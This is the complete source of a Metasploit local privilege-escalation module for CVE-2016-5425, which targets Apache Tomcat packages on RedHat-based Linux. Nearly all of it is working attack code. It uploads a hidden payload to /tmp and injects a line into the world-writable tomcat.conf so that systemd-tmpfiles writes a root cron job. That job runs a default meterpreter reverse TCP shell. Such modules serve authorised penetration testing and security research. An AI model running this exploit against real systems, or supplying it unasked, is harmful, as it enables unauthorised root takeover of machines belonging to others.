Apache Tomcat Privilege Escalation

##### This exploit sample shows how an exploit module could be written to exploit# a bug in a command on a linux computer for priv esc.####class MetasploitModule < Msf::Exploit::Local  Rank = ManualRanking  include Msf::Exploit::Retry  include Msf::Post::Linux::Priv  include Msf::Post::Linux::System  include Msf::Post::File  include Msf::Exploit::EXE  include Msf::Exploit::FileDropper  include Msf::Post::Linux::Compile  prepend Msf::Exploit::Remote::AutoCheck  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Apache Tomcat on RedHat Based Systems Insecure Temp Config Privilege Escalation',        'Description' => %q{          This module exploits a vulnerability in RedHat based systems where          improper file permissions are applied to /usr/lib/tmpfiles.d/tomcat.conf          for Apache Tomcat versions before 7.0.54-8.  This may also work against          The configuration files in tmpfiles.d are used by systemd-tmpfiles to manage          temporary files including their creation.          With this weak permission, we're able to inject commands into systemd-tmpfiles          service to write a cron job to execute our payload.          systemd-tmpfiles is executed by default on boot on RedHat-based systems          through systemd-tmpfiles-setup.service. Depending on the system in use,          the execution of systemd-tmpfiles could also be triggered by other          services, cronjobs, startup scripts etc.          This module was tested against Tomcat 7.0.54-3 on Fedora 21.        },        'License' => MSF_LICENSE,        'Author' => [          'h00die', # msf module          'Dawid Golunski <[email protected]>' # original PoC, analysis, discovery        ],        'Platform' => [ 'linux' ],        'Arch' => [ ARCH_X86, ARCH_X64 ],        'SessionTypes' => [ 'shell', 'meterpreter' ],        'Targets' => [[ 'Auto', {} ]],        'Privileged' => true,        'DefaultOptions' => {          'WfsDelay' => 1800, # 30min          'payload' => 'linux/x64/meterpreter_reverse_tcp'        },        'References' => [          ['EDB', '40488' ],          ['URL', 'https://access.redhat.com/security/cve/CVE-2016-5425'],          ['URL', 'http://legalhackers.com/advisories/Tomcat-RedHat-Pkgs-Root-PrivEsc-Exploit-CVE-2016-5425.html'],          ['URL', 'https://www.freedesktop.org/software/systemd/man/tmpfiles.d.html'], # general tompfiles.d info          ['CVE', '2016-5425']        ],        'DisclosureDate' => '2016-10-10',        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES, IOC_IN_LOGS]        }      )    )    register_advanced_options [      OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ]),    ]  end  # Simplify pulling the writable directory variable  def base_dir    datastore['WritableDir'].to_s  end  def tomcat_conf    '/usr/lib/tmpfiles.d/tomcat.conf'  end  def suid?(file)    get_suid_files(file).include? file  end  def check    package = cmd_exec('rpm -qa | grep "^tomcat\-[678]"')    if package.nil? || package.empty?      return CheckCode::Safe('Unable to execute command to determine installed pacakges')    end    package = package.sub('tomcat-', '').strip    # fedora based cleanup    package = package.sub(/\.fc\d\d\.noarch/, '')    # rhel/centos based cleanup    package = package.sub(/\.el\d_\d\.noarch/, '')    package = Rex::Version.new(package)    # The write-up says 6, 7, 8 but doesn't include version numbers. RHEL's writeup says    # only 7 is effected, so we're going to go off their write-up.    if package.to_s.start_with?('7') && package < Rex::Version.new('7.0.54-8')      return CheckCode::Appears("Vulnerable app version detected: #{package}")    end    CheckCode::Safe("Unexploitable tomcat packages found: #{package}")  end  def exploit    # Check if we're already root    if is_root? && !datastore['ForceExploit']      fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override'    end    unless writable? base_dir      fail_with Failure::BadConfig, "#{base_dir} is not writable"    end    unless writable? tomcat_conf      fail_with Failure::BadConfig, "#{tomcat_conf} is not writable"    end    vprint_status("Creating backup of #{tomcat_conf}")    @tomcat_conf_content = read_file(tomcat_conf)    path = store_loot(      tomcat_conf,      'text/plain',      rhost,      @tomcat_conf_content,      'tomcat.conf'    )    print_good("Original #{tomcat_conf} backed up to #{path}")    # Upload payload executable    payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"    vprint_status("Uploading Payload to #{payload_path}")    upload_and_chmodx payload_path, generate_payload_exe    register_file_for_cleanup(payload_path)    # write in our payload execution    vprint_status("Writing permission elevation into #{tomcat_conf}")    cron_job = "/etc/cron.d/#{rand_text_alphanumeric(5..10)}"    print_status("Creating cron job in #{cron_job}")    # The POC shows 2 options, a cron answer, and copy bash answer.    # Initially I attempted to copy our payload, set suid and root owner    # however it seemed to need 2 service restart to apply all the permissions.    # I never figured out why it was like that, even chaining copying bash in, then    # launching the payload from the bash instance etc.  We opt for the cron    # which may take 1 additional minute, and rely on cron, but is much more stable    cmd_exec("echo 'F #{cron_job} 0644 root root - \"* * * * * root nohup #{payload_path} & \\n\\n\"' >> #{tomcat_conf}")    register_file_for_cleanup(cron_job)    # we now need systemd-tmpfiles to restart    print_good("Waiting #{datastore['WfsDelay']} seconds. Run the following command on the target machine: /usr/bin/systemd-tmpfiles --create - this is required to restart the tmpfiles-setup.service")    succeeded = retry_until_truthy(timeout: datastore['WfsDelay']) do      file? cron_job    end    unless succeeded      print_error("#{cron_job} not found, exploit aborted")      return    end    print_status('Waiting on cron to execute the payload (~1 minute)')  end  def cleanup    unless @tomcat_conf_content.nil?      write_file(tomcat_conf, @tomcat_conf_content)    end    super  endend